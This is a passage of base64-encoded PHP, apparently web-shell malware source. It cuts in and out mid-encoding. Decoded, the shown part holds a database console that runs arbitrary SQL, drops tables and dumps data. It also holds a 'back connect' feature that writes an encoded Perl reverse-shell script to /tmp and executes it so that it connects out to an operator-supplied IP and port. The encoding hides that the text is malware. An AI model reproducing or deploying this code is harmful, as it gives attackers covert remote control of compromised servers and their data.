6c2V0dGFibGUoXCcnLiR0YWJsZW5hbWUuJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVuYW1lLidcJywgXCdzdHJ1Y3R1cmVcJyk7Ij5TdHJ1Y3R1cmU8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlbmFtZS4nXCcsIFwnZHJvcFwnKTsiPkRyb3A8L2E+IF0nKTsNCg0KCQkJfQ0KDQoJCQlwKCc8L3A+Jyk7DQoNCgkJCW15c3FsX3NlbGVjdF9kYigkZGJuYW1lKTsNCg0KDQoNCgkJCSRnZXRudW1zcWwgPSAnJzsNCg0KCQkJJHJ1bnF1ZXJ5ID0gMDsNCg0KCQkJaWYgKCRzcWxfcXVlcnkpIHsNCg0KCQkJCSRydW5xdWVyeSA9IDE7DQoNCgkJCX0NCg0KCQkJJGFsbG93ZWRpdCA9IDA7DQoNCgkJCWlmICgkdGFibGVuYW1lICYmICEkc3FsX3F1ZXJ5KSB7DQoNCgkJCQkkc3FsX3F1ZXJ5ID0gIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSI7DQoNCgkJCQkkZ2V0bnVtc3FsID0gJHNxbF9xdWVyeTsNCg0KCQkJCSRzcWxfcXVlcnkgPSAkc3FsX3F1ZXJ5LiIgTElNSVQgJHN0YXJ0X2xpbWl0LCAkcGFnZW51bSI7DQoNCgkJCQkkYWxsb3dlZGl0ID0gMTsNCg0KCQkJfQ0KDQoJCQlwKCc8Zm9ybSBhY3Rpb249IicuJHNlbGYuJyIgbWV0aG9kPSJQT1NUIj4nKTsNCg0KCQkJcCgnPHA+PHRhYmxlIHdpZHRoPSIyMDAiIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjAiIGNlbGxzcGFjaW5nPSIwIj48dHI+PHRkIGNvbHNwYW49IjIiPlJ1biBTUUwgcXVlcnkvcXVlcmllcyBvbiBkYXRhYmFzZSAnLiRkYm5hbWUuJzo8L3RkPjwvdHI+PHRyPjx0ZD48dGV4dGFyZWEgbmFtZT0ic3FsX3F1ZXJ5IiBjbGFzcz0iYXJlYSIgc3R5bGU9IndpZHRoOjYwMHB4O2hlaWdodDo1MHB4O292ZXJmbG93OmF1dG87Ij4nLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9xdWVyeSxFTlRfUVVPVEVTKS4nPC90ZXh0YXJlYT48L3RkPjx0ZCBzdHlsZT0icGFkZGluZzowIDVweDsiPjxpbnB1dCBjbGFzcz0iYnQiIHN0eWxlPSJoZWlnaHQ6NTBweDsiIG5hbWU9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iUXVlcnkiIC8+PC90ZD48L3RyPjwvdGFibGU+PC9wPicpOw0KDQoJCQltYWtlaGlkZSgndGFibGVuYW1lJywgJHRhYmxlbmFtZSk7DQoNCgkJCW1ha2VoaWRlKCdhY3Rpb24nLCdzcWxhZG1pbicpOw0KDQoJCQlwKCRkYmZvcm0pOw0KDQoJCQlwKCc8L2Zvcm0+Jyk7DQoNCgkJCWlmICgkdGFibGVuYW1lIHx8ICgkcnVucXVlcnkgJiYgJHNxbF9xdWVyeSkpIHsNCg0KCQkJCWlmICgkZG9pbmcgPT0gJ3N0cnVjdHVyZScpIHsNCg0KCQkJCQkkcmVzdWx0ID0gcSgiU0hPVyBDT0xVTU5TIEZST00gJHRhYmxlbmFtZSIpOw0KDQoJCQkJCSRyb3dkYiA9IGFycmF5KCk7DQoNCgkJCQkJd2hpbGUoJHJvdyA9IG15c3FsX2ZldGNoX2FycmF5KCRyZXN1bHQpKSB7DQoNCgkJCQkJCSRyb3dkYltdID0gJHJvdzsNCg0KCQkJCQl9DQoNCgkJCQkJcCgnPHRhYmxlIGJvcmRlcj0iMCIgY2VsbHBhZGRpbmc9IjMiIGNlbGxzcGFjaW5nPSIwIj4nKTsNCg0KCQkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KDQoJCQkJCXAoJzx0ZD5GaWVsZDwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPlR5cGU8L3RkPicpOw0KDQoJCQkJCXAoJzx0ZD5OdWxsPC90ZD4nKTsNCg0KCQkJCQlwKCc8dGQ+S2V5PC90ZD4nKTsNCg0KCQkJCQlwKCc8dGQ+RGVmYXVsdDwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPkV4dHJhPC90ZD4nKTsNCg0KCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoNCgkJCQkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ0ZpZWxkJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJCXAoJzx0ZD4nLiRyb3dbJ1R5cGUnXS4nPC90ZD4nKTsNCg0KCQkJCQkJcCgnPHRkPicuJHJvd1snTnVsbCddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydLZXknXS4nJm5ic3A7PC90ZD4nKTsNCg0KCQkJCQkJcCgnPHRkPicuJHJvd1snRGVmYXVsdCddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQlwKCc8dGQ+Jy4kcm93WydFeHRyYSddLicmbmJzcDs8L3RkPicpOw0KDQoJCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCX0NCg0KCQkJCQl0YmZvb3QoKTsNCg0KCQkJCX0gZWxzZWlmICgkZG9pbmcgPT0gJ2luc2VydCcgfHwgJGRvaW5nID09ICdlZGl0Jykgew0KDQoJCQkJCSRyZXN1bHQgPSBxKCdTSE9XIENPTFVNTlMgRlJPTSAnLiR0YWJsZW5hbWUpOw0KDQoJCQkJCXdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHsNCg0KCQkJCQkJJHJvd2RiW10gPSAkcm93Ow0KDQoJCQkJCX0NCg0KCQkJCQkkcnMgPSBhcnJheSgpOw0KDQoJCQkJCWlmICgkZG9pbmcgPT0gJ2luc2VydCcpIHsNCg0KCQkJCQkJcCgnPGgyPkluc2VydCBuZXcgbGluZSBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsNCg0KCQkJCQl9IGVsc2Ugew0KDQoJCQkJCQlwKCc8aDI+VXBkYXRlIHJlY29yZCBpbiAnLiR0YWJsZW5hbWUuJyB0YWJsZSAmcmFxdW87PC9oMj4nKTsNCg0KCQkJCQkJJHdoZXJlID0gYmFzZTY0X2RlY29kZSgkYmFzZTY0KTsNCg0KCQkJCQkJJHJlc3VsdCA9IHEoIlNFTEVDVCAqIEZST00gJHRhYmxlbmFtZSBXSEVSRSAkd2hlcmUgTElNSVQgMSIpOw0KDQoJCQkJCQkkcnMgPSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KTsNCg0KCQkJCQl9DQoNCgkJCQkJcCgnPGZvcm0gbWV0aG9kPSJwb3N0IiBhY3Rpb249IicuJHNlbGYuJyI+Jyk7DQoNCgkJCQkJcCgkZGJmb3JtKTsNCg0KCQkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCg0KCQkJCQltYWtlaGlkZSgndGFibGVuYW1lJywkdGFibGVuYW1lKTsNCg0KCQkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMyIgY2VsbHNwYWNpbmc9IjAiPicpOw0KDQoJCQkJCWZvcmVhY2ggKCRyb3dkYiBhcyAkcm93KSB7DQoNCgkJCQkJCWlmICgkcnNbJHJvd1snRmllbGQnXV0pIHsNCg0KCQkJCQkJCSR2YWx1ZSA9IGh0bWxzcGVjaWFsY2hhcnMoJHJzWyRyb3dbJ0ZpZWxkJ11dKTsNCg0KCQkJCQkJfSBlbHNlIHsNCg0KCQkJCQkJCSR2YWx1ZSA9ICcnOw0KDQoJCQkJCQl9DQoNCgkJCQkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCQkJCXAoJzx0ZD48Yj4nLiRyb3dbJ0ZpZWxkJ10uJzwvYj48YnIgLz4nLiRyb3dbJ1R5cGUnXS4nPC90ZD48dGQ+PHRleHRhcmVhIGNsYXNzPSJhcmVhIiBuYW1lPSJpbnNlcnRzcWxbJy4kcm93WydGaWVsZCddLiddIiBzdHlsZT0id2lkdGg6NTAwcHg7aGVpZ2h0OjYwcHg7b3ZlcmZsb3c6YXV0bzsiPicuJHZhbHVlLic8L3RleHRhcmVhPjwvdGQ+PC90cj4nKTsNCg0KCQkJCQl9DQoNCgkJCQkJaWYgKCRkb2luZyA9PSAnaW5zZXJ0Jykgew0KDQoJCQkJCQlwKCc8dHIgY2xhc3M9IicuYmcoKS4nIj48dGQgY29sc3Bhbj0iMiI+PGlucHV0IGNsYXNzPSJidCIgdHlwZT0ic3VibWl0IiBuYW1lPSJpbnNlcnQiIHZhbHVlPSJJbnNlcnQiIC8+PC90ZD48L3RyPicpOw0KDQoJCQkJCX0gZWxzZSB7DQoNCgkJCQkJCXAoJzx0ciBjbGFzcz0iJy5iZygpLiciPjx0ZCBjb2xzcGFuPSIyIj48aW5wdXQgY2xhc3M9ImJ0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InVwZGF0ZSIgdmFsdWU9IlVwZGF0ZSIgLz48L3RkPjwvdHI+Jyk7DQoNCgkJCQkJCW1ha2VoaWRlKCdiYXNlNjQnLCAkYmFzZTY0KTsNCg0KCQkJCQl9DQoNCgkJCQkJcCgnPC90YWJsZT48L2Zvcm0+Jyk7DQoNCgkJCQl9IGVsc2Ugew0KDQoJCQkJCSRxdWVyeXMgPSBAZXhwbG9kZSgnOycsJHNxbF9xdWVyeSk7DQoNCgkJCQkJZm9yZWFjaCgkcXVlcnlzIGFzICRudW09PiRxdWVyeSkgew0KDQoJCQkJCQlpZiAoJHF1ZXJ5KSB7DQoNCgkJCQkJCQlwKCI8cD48Yj5RdWVyeSN7JG51bX0gOiAiLmh0bWxzcGVjaWFsY2hhcnMoJHF1ZXJ5LEVOVF9RVU9URVMpLiI8L2I+PC9wPiIpOw0KDQoJCQkJCQkJc3dpdGNoKHF5KCRxdWVyeSkpDQoNCgkJCQkJCQl7DQoNCgkJCQkJCQkJY2FzZSAwOg0KDQoJCQkJCQkJCQlwKCc8aDI+RXJyb3IgOiAnLm15c3FsX2Vycm9yKCkuJzwvaDI+Jyk7DQoNCgkJCQkJCQkJCWJyZWFrOwkNCg0KCQkJCQkJCQljYXNlIDE6DQoNCgkJCQkJCQkJCWlmIChzdHJ0b2xvd2VyKHN1YnN0cigkcXVlcnksMCwxMykpID09ICdzZWxlY3QgKiBmcm9tJykgew0KDQoJCQkJCQkJCQkJJGFsbG93ZWRpdCA9IDE7DQoNCgkJCQkJCQkJCX0NCg0KCQkJCQkJCQkJaWYgKCRnZXRudW1zcWwpIHsNCg0KCQkJCQkJCQkJCSR0YXRvbCA9IG15c3FsX251bV9yb3dzKHEoJGdldG51bXNxbCkpOw0KDQoJCQkJCQkJCQkJJG11bHRpcGFnZSA9IG11bHRpKCR0YXRvbCwgJHBhZ2VudW0sICRwYWdlLCAkdGFibGVuYW1lKTsNCg0KCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQlpZiAoISR0YWJsZW5hbWUpIHsNCg0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHN0cl9yZXBsYWNlKGFycmF5KCJcciIsICJcbiIsICJcdCIpLCBhcnJheSgnICcsICcgJywgJyAnKSwgdHJpbShodG1sc3BlY2lhbGNoYXJzKCRxdWVyeSkpKTsNCg0KCQkJCQkJCQkJCSRzcWxfbGluZSA9IHByZWdfcmVwbGFjZSgiL1wvXCpbXihcKlwvKV0qXCpcLy9pIiwgIiAiLCAkc3FsX2xpbmUpOw0KDQoJCQkJCQkJCQkJcHJlZ19tYXRjaF9hbGwoIi9mcm9tXHMrYHswLDF9KFtcd10rKWB7MCwxfVxzKy9pIiwkc3FsX2xpbmUsJG1hdGNoZXMpOw0KDQoJCQkJCQkJCQkJJHRhYmxlbmFtZSA9ICRtYXRjaGVzWzFdWzBdOw0KDQoJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCSRyZXN1bHQgPSBxKCRxdWVyeSk7DQoNCgkJCQkJCQkJCXAoJG11bHRpcGFnZSk7DQoNCgkJCQkJCQkJCXAoJzx0YWJsZSBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSIzIiBjZWxsc3BhY2luZz0iMCI+Jyk7DQoNCgkJCQkJCQkJCXAoJzx0ciBjbGFzcz0iaGVhZCI+Jyk7DQoNCgkJCQkJCQkJCWlmICgkYWxsb3dlZGl0KSBwKCc8dGQ+QWN0aW9uPC90ZD4nKTsNCg0KCQkJCQkJCQkJJGZpZWxkbnVtID0gQG15c3FsX251bV9maWVsZHMoJHJlc3VsdCk7DQoNCgkJCQkJCQkJCWZvcigkaT0wOyRpPCRmaWVsZG51bTskaSsrKXsNCg0KCQkJCQkJCQkJCSRuYW1lID0gQG15c3FsX2ZpZWxkX25hbWUoJHJlc3VsdCwgJGkpOw0KDQoJCQkJCQkJCQkJJHR5cGUgPSBAbXlzcWxfZmllbGRfdHlwZSgkcmVzdWx0LCAkaSk7DQoNCgkJCQkJCQkJCQkkbGVuID0gQG15c3FsX2ZpZWxkX2xlbigkcmVzdWx0LCAkaSk7DQoNCgkJCQkJCQkJCQlwKCI8dGQgbm93cmFwPiRuYW1lPGJyPjxzcGFuPiR0eXBlKCRsZW4pPC9zcGFuPjwvdGQ+Iik7DQoNCgkJCQkJCQkJCX0NCg0KCQkJCQkJCQkJcCgnPC90cj4nKTsNCg0KCQkJCQkJCQkJd2hpbGUoJG1uID0gQG15c3FsX2ZldGNoX2Fzc29jKCRyZXN1bHQpKXsNCg0KCQkJCQkJCQkJCSR0aGlzYmcgPSBiZygpOw0KDQoJCQkJCQkJCQkJcCgnPHRyIGNsYXNzPSInLiR0aGlzYmcuJyIgb25tb3VzZW92ZXI9InRoaXMuY2xhc3NOYW1lPVwnZm9jdXNcJzsiIG9ubW91c2VvdXQ9InRoaXMuY2xhc3NOYW1lPVwnJy4kdGhpc2JnLidcJzsiPicpOw0KDQoJCQkJCQkJCQkJJHdoZXJlID0gJHRtcCA9ICRiMSA9ICcnOw0KDQoJCQkJCQkJCQkJZm9yZWFjaCgkbW4gYXMgJGtleT0+JGluc2lkZSl7DQoNCgkJCQkJCQkJCQkJaWYgKCRpbnNpZGUpIHsNCg0KCQkJCQkJCQkJCQkJJHdoZXJlIC49ICR0bXAuJGtleS4iPSciLmFkZHNsYXNoZXMoJGluc2lkZSkuIiciOw0KDQoJCQkJCQkJCQkJCQkkdG1wID0gJyBBTkQgJzsNCg0KCQkJCQkJCQkJCQl9DQoNCgkJCQkJCQkJCQkJJGIxIC49ICc8dGQgbm93cmFwPicuaHRtbF9jbGVhbigkaW5zaWRlKS4nJm5ic3A7PC90ZD4nOw0KDQoJCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQkJJHdoZXJlID0gYmFzZTY0X2VuY29kZSgkd2hlcmUpOw0KDQoJCQkJCQkJCQkJaWYgKCRhbGxvd2VkaXQpIHAoJzx0ZCBub3dyYXA+PGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwnZWRpdFwnLCBcJycuJHdoZXJlLidcJywgXCcnLiR0YWJsZW5hbWUuJ1wnKTsiPkVkaXQ8L2E+IHwgPGEgaHJlZj0iamF2YXNjcmlwdDplZGl0cmVjb3JkKFwnZGVsXCcsIFwnJy4kd2hlcmUuJ1wnLCBcJycuJHRhYmxlbmFtZS4nXCcpOyI+RGVsPC9hPjwvdGQ+Jyk7DQoNCgkJCQkJCQkJCQlwKCRiMSk7DQoNCgkJCQkJCQkJCQlwKCc8L3RyPicpOw0KDQoJCQkJCQkJCQkJdW5zZXQoJGIxKTsNCg0KCQkJCQkJCQkJfQ0KDQoJCQkJCQkJCQl0YmZvb3QoKTsNCg0KCQkJCQkJCQkJcCgkbXVsdGlwYWdlKTsNCg0KCQkJCQkJCQkJYnJlYWs7CQ0KDQoJCQkJCQkJCWNhc2UgMjoNCg0KCQkJCQkJCQkJJGFyID0gbXlzcWxfYWZmZWN0ZWRfcm93cygpOw0KDQoJCQkJCQkJCQlwKCc8aDI+YWZmZWN0ZWQgcm93cyA6IDxiPicuJGFyLic8L2I+PC9oMj4nKTsNCg0KCQkJCQkJCQkJYnJlYWs7DQoNCgkJCQkJCQl9DQoNCgkJCQkJCX0NCg0KCQkJCQl9DQoNCgkJCQl9DQoNCgkJCX0gZWxzZSB7DQoNCgkJCQkkcXVlcnkgPSBxKCJTSE9XIFRBQkxFIFNUQVRVUyIpOw0KDQoJCQkJJHRhYmxlX251bSA9ICR0YWJsZV9yb3dzID0gJGRhdGFfc2l6ZSA9IDA7DQoNCgkJCQkkdGFibGVkYiA9IGFycmF5KCk7DQoNCgkJCQl3aGlsZSgkdGFibGUgPSBteXNxbF9mZXRjaF9hcnJheSgkcXVlcnkpKSB7DQoNCgkJCQkJJGRhdGFfc2l6ZSA9ICRkYXRhX3NpemUgKyAkdGFibGVbJ0RhdGFfbGVuZ3RoJ107DQoNCgkJCQkJJHRhYmxlX3Jvd3MgPSAkdGFibGVfcm93cyArICR0YWJsZVsnUm93cyddOw0KDQoJCQkJCSR0YWJsZVsnRGF0YV9sZW5ndGgnXSA9IHNpemVjb3VudCgkdGFibGVbJ0RhdGFfbGVuZ3RoJ10pOw0KDQoJCQkJCSR0YWJsZV9udW0rKzsNCg0KCQkJCQkkdGFibGVkYltdID0gJHRhYmxlOw0KDQoJCQkJfQ0KDQoJCQkJJGRhdGFfc2l6ZSA9IHNpemVjb3VudCgkZGF0YV9zaXplKTsNCg0KCQkJCXVuc2V0KCR0YWJsZSk7DQoNCgkJCQlwKCc8dGFibGUgYm9yZGVyPSIwIiBjZWxscGFkZGluZz0iMCIgY2VsbHNwYWNpbmc9IjAiPicpOw0KDQoJCQkJcCgnPGZvcm0gYWN0aW9uPSInLiRzZWxmLiciIG1ldGhvZD0iUE9TVCI+Jyk7DQoNCgkJCQltYWtlaGlkZSgnYWN0aW9uJywnc3FsYWRtaW4nKTsNCg0KCQkJCXAoJGRiZm9ybSk7DQoNCgkJCQlwKCc8dHIgY2xhc3M9ImhlYWQiPicpOw0KDQoJCQkJcCgnPHRkIHdpZHRoPSIyJSIgYWxpZ249ImNlbnRlciI+PGlucHV0IG5hbWU9ImNoa2FsbCIgdmFsdWU9Im9uIiB0eXBlPSJjaGVja2JveCIgb25jbGljaz0iQ2hlY2tBbGwodGhpcy5mb3JtKSIgLz48L3RkPicpOw0KDQoJCQkJcCgnPHRkPk5hbWU8L3RkPicpOw0KDQoJCQkJcCgnPHRkPlJvd3M8L3RkPicpOw0KDQoJCQkJcCgnPHRkPkRhdGFfbGVuZ3RoPC90ZD4nKTsNCg0KCQkJCXAoJzx0ZD5DcmVhdGVfdGltZTwvdGQ+Jyk7DQoNCgkJCQlwKCc8dGQ+VXBkYXRlX3RpbWU8L3RkPicpOw0KDQoJCQkJaWYgKCRoaWdodmVyKSB7DQoNCgkJCQkJcCgnPHRkPkVuZ2luZTwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPkNvbGxhdGlvbjwvdGQ+Jyk7DQoNCgkJCQl9DQoNCgkJCQlwKCc8L3RyPicpOw0KDQoJCQkJZm9yZWFjaCAoJHRhYmxlZGIgYXMgJGtleSA9PiAkdGFibGUpIHsNCg0KCQkJCQkkdGhpc2JnID0gYmcoKTsNCg0KCQkJCQlwKCc8dHIgY2xhc3M9IicuJHRoaXNiZy4nIiBvbm1vdXNlb3Zlcj0idGhpcy5jbGFzc05hbWU9XCdmb2N1c1wnOyIgb25tb3VzZW91dD0idGhpcy5jbGFzc05hbWU9XCcnLiR0aGlzYmcuJ1wnOyI+Jyk7DQoNCgkJCQkJcCgnPHRkIGFsaWduPSJjZW50ZXIiIHdpZHRoPSIyJSI+PGlucHV0IHR5cGU9ImNoZWNrYm94IiBuYW1lPSJ0YWJsZVtdIiB2YWx1ZT0iJy4kdGFibGVbJ05hbWUnXS4nIiAvPjwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPjxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJyk7Ij4nLiR0YWJsZVsnTmFtZSddLic8L2E+IFsgPGEgaHJlZj0iamF2YXNjcmlwdDpzZXR0YWJsZShcJycuJHRhYmxlWydOYW1lJ10uJ1wnLCBcJ2luc2VydFwnKTsiPkluc2VydDwvYT4gfCA8YSBocmVmPSJqYXZhc2NyaXB0OnNldHRhYmxlKFwnJy4kdGFibGVbJ05hbWUnXS4nXCcsIFwnc3RydWN0dXJlXCcpOyI+U3RydWN0dXJlPC9hPiB8IDxhIGhyZWY9ImphdmFzY3JpcHQ6c2V0dGFibGUoXCcnLiR0YWJsZVsnTmFtZSddLidcJywgXCdkcm9wXCcpOyI+RHJvcDwvYT4gXTwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydSb3dzJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJcCgnPHRkPicuJHRhYmxlWydEYXRhX2xlbmd0aCddLic8L3RkPicpOw0KDQoJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ3JlYXRlX3RpbWUnXS4nPC90ZD4nKTsNCg0KCQkJCQlwKCc8dGQ+Jy4kdGFibGVbJ1VwZGF0ZV90aW1lJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJaWYgKCRoaWdodmVyKSB7DQoNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnRW5naW5lJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJCXAoJzx0ZD4nLiR0YWJsZVsnQ29sbGF0aW9uJ10uJzwvdGQ+Jyk7DQoNCgkJCQkJfQ0KDQoJCQkJCXAoJzwvdHI+Jyk7DQoNCgkJCQl9DQoNCgkJCQlwKCc8dHIgY2xhc3M9Jy5iZygpLic+Jyk7DQoNCgkJCQlwKCc8dGQ+Jm5ic3A7PC90ZD4nKTsNCg0KCQkJCXAoJzx0ZD5Ub3RhbCB0YWJsZXM6ICcuJHRhYmxlX251bS4nPC90ZD4nKTsNCg0KCQkJCXAoJzx0ZD4nLiR0YWJsZV9yb3dzLic8L3RkPicpOw0KDQoJCQkJcCgnPHRkPicuJGRhdGFfc2l6ZS4nPC90ZD4nKTsNCg0KCQkJCXAoJzx0ZCBjb2xzcGFuPSInLigkaGlnaHZlciA/IDQgOiAyKS4nIj4mbmJzcDs8L3RkPicpOw0KDQoJCQkJcCgnPC90cj4nKTsNCg0KDQoNCgkJCQlwKCI8dHIgY2xhc3M9XCIiLmJnKCkuIlwiPjx0ZCBjb2xzcGFuPVwiIi4oJGhpZ2h2ZXIgPyA4IDogNikuIlwiPjxpbnB1dCBuYW1lPVwic2F2ZWFzZmlsZVwiIHZhbHVlPVwiMVwiIHR5cGU9XCJjaGVja2JveFwiIC8+IFNhdmUgYXMgZmlsZSA8aW5wdXQgY2xhc3M9XCJpbnB1dFwiIG5hbWU9XCJwYXRoXCIgdmFsdWU9XCIiLlNBX1JPT1QuJF9TRVJWRVJbJ0hUVFBfSE9TVCddLiJfTXlTUUwuc3FsXCIgdHlwZT1cInRleHRcIiBzaXplPVwiNjBcIiAvPiA8aW5wdXQgY2xhc3M9XCJidFwiIHR5cGU9XCJzdWJtaXRcIiBuYW1lPVwiZG93bnJhclwiIHZhbHVlPVwiRXhwb3J0IHNlbGVjdGlvbiB0YWJsZVwiIC8+PC90ZD48L3RyPiIpOw0KDQoJCQkJbWFrZWhpZGUoJ2RvaW5nJywnYmFja3VwbXlzcWwnKTsNCg0KCQkJCWZvcm1mb290KCk7DQoNCgkJCQlwKCI8L3RhYmxlPiIpOw0KDQoJCQkJZnIoJHF1ZXJ5KTsNCg0KCQkJfQ0KDQoJCX0NCg0KCX0NCg0KCXRiZm9vdCgpOw0KDQoJQG15c3FsX2Nsb3NlKCk7DQoNCn0vL2VuZCBzcWwgYmFja3VwDQoNCg0KDQoNCg0KZWxzZWlmICgkYWN0aW9uID09ICdiYWNrY29ubmVjdCcpIHsNCg0KCSEkeW91cmlwICYmICR5b3VyaXAgPSAkX1NFUlZFUlsnUkVNT1RFX0FERFInXTsNCg0KCSEkeW91cnBvcnQgJiYgJHlvdXJwb3J0ID0gJzEyMzQ1JzsNCg0KCSR1c2VkYiA9IGFycmF5KCdwZXJsJz0+J3BlcmwnLCdjJz0+J2MnKTsNCg0KDQoNCgkkYmFja19jb25uZWN0PSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkdOdFpEMGdJbXg1Ym5naU93MEtKSE41YzNSbGJUMGdKMlZqYUc4Z0ltQjFibUZ0WlNBdFlXQWlPMlZqIi4NCg0KCQkiYUc4Z0ltQnBaR0FpT3k5aWFXNHZjMmduT3cwS0pEQTlKR050WkRzTkNpUjBZWEpuWlhROUpFRlNSMVpiTUYwN0RRb2tjRzl5ZEQwa1FWSkhWbHN4WFRzTkNpUnBZV1JrY2oxcGJtVjBYMkYwYjI0b0pIUiIuDQoNCgkJImhjbWRsZENrZ2ZId2daR2xsS0NKRmNuSnZjam9nSkNGY2JpSXBPdzBLSkhCaFpHUnlQWE52WTJ0aFpHUnlYMmx1S0NSd2IzSjBMQ0FrYVdGa1pISXBJSHg4SUdScFpTZ2lSWEp5YjNJNklDUWhYRzRpS1QiLg0KDQoJCSJzTkNpUndjbTkwYnoxblpYUndjbTkwYjJKNWJtRnRaU2duZEdOd0p5azdEUXB6YjJOclpYUW9VMDlEUzBWVUxDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLU0I4ZkNCa2FXVW9JIi4NCg0KCQkia1Z5Y205eU9pQWtJVnh1SWlrN0RRcGpiMjV1WldOMEtGTlBRMHRGVkN3Z0pIQmhaR1J5S1NCOGZDQmthV1VvSWtWeWNtOXlPaUFrSVZ4dUlpazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaSIuDQoNCgkJIktUc05DbTl3Wlc0b1UxUkVUMVZVTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVSVkpTTENBaVBpWlRUME5MUlZRaUtUc05Dbk41YzNSbGJTZ2tjM2x6ZEdWdEtUc05DbU5zYjNObEtGTlVSRWwiLg0KDQoJCSJPS1RzTkNtTnNiM05sS0ZOVVJFOVZWQ2s3RFFwamJHOXpaU2hUVkVSRlVsSXBPdz09IjsNCg0KDQoNCg0KDQoJaWYgKCRzdGFydCAmJiAkeW91cmlwICYmICR5b3VycG9ydCAmJiAkdXNlKXsNCg0KCQlpZiAoJHVzZSA9PSAncGVybCcpIHsNCg0KCQkJY2YoJy90bXAvYW5nZWxfYmMnLCRiYWNrX2Nvbm5lY3QpOw0KDQoJCQkkcmVzID0gZXhlY3V0ZSh3aGljaCgncGVybCcpLiIgL3RtcC9hbmdlbF9iYyAkeW91cmlwICR5b3VycG9ydCAmIik7DQoNCgkJfSBlbHNlIHsNCg0KCQkJY2YoJy90bXAvYW5nZWxfYmMuYycsJGJhY2tfY29ubmVjdF9jKTsNCg0KCQkJJHJlcyA9IGV4ZWN1dGUoJ2djYyAtbyAvdG1wL2FuZ2VsX2JjIC90bXAvYW5nZWxfYmMuYycpOw0KDQoJCQlAdW5saW5rKCcvdG1wL2FuZ2VsX2JjLmMnKTsNCg0KCQkJJHJlcyA9IGV4ZWN1dGUoIi90bXAvYW5nZWxfYmMgJHlvdXJpcCAkeW91cnBvcnQgJiIpOw0KDQoJCX0NCg0KCQltKCJOb3cgc2NyaXB0IHRyeSBjb25uZWN0IHRvICR5b3VyaXAgcG9ydCAkeW91cnBvcnQgLi4uIik7DQoNCgl9DQoNCg0KDQoJZm9ybWhlYWQoYXJyYXkoJ3RpdGxlJz0+J0JhY2sgQ29ubmVjdCcpKTsNCg0KCW1ha2VoaWRlKCdhY3Rpb24nLCdiYWNrY29ubmVjdCcpOw0KDQoJcCgnPHA+Jyk7DQoNCglwKCdZb3VyIElQOicpOw0KDQoJbWFrZWlucHV0KGFycmF5KCduYW1lJz0+J3lvdXJpcCcsJ3NpemUnPT4yMCwndmFsdWUnPT4keW91cmlwKSk7DQoNCglwKCdZb3VyIFBvcnQ6Jyk7DQoNCgltYWtlaW5wdXQoYXJyYXkoJ25hbWUnPT4neW91cnBvcnQnLCdzaXplJz0+MTUsJ3ZhbHVlJz0+JHlvdXJwb3J0KSk7DQoNCglwKCdVc2U6Jyk7DQoNCgltYWtlc2VsZWN0KGFycmF5KCduYW1lJz0+J3VzZScsJ29wdGlvbic9PiR1c2VkYiwnc2VsZWN0ZWQnPT4kdXNlKSk7DQoNCgltYWtlaW5wdXQoYXJyYXko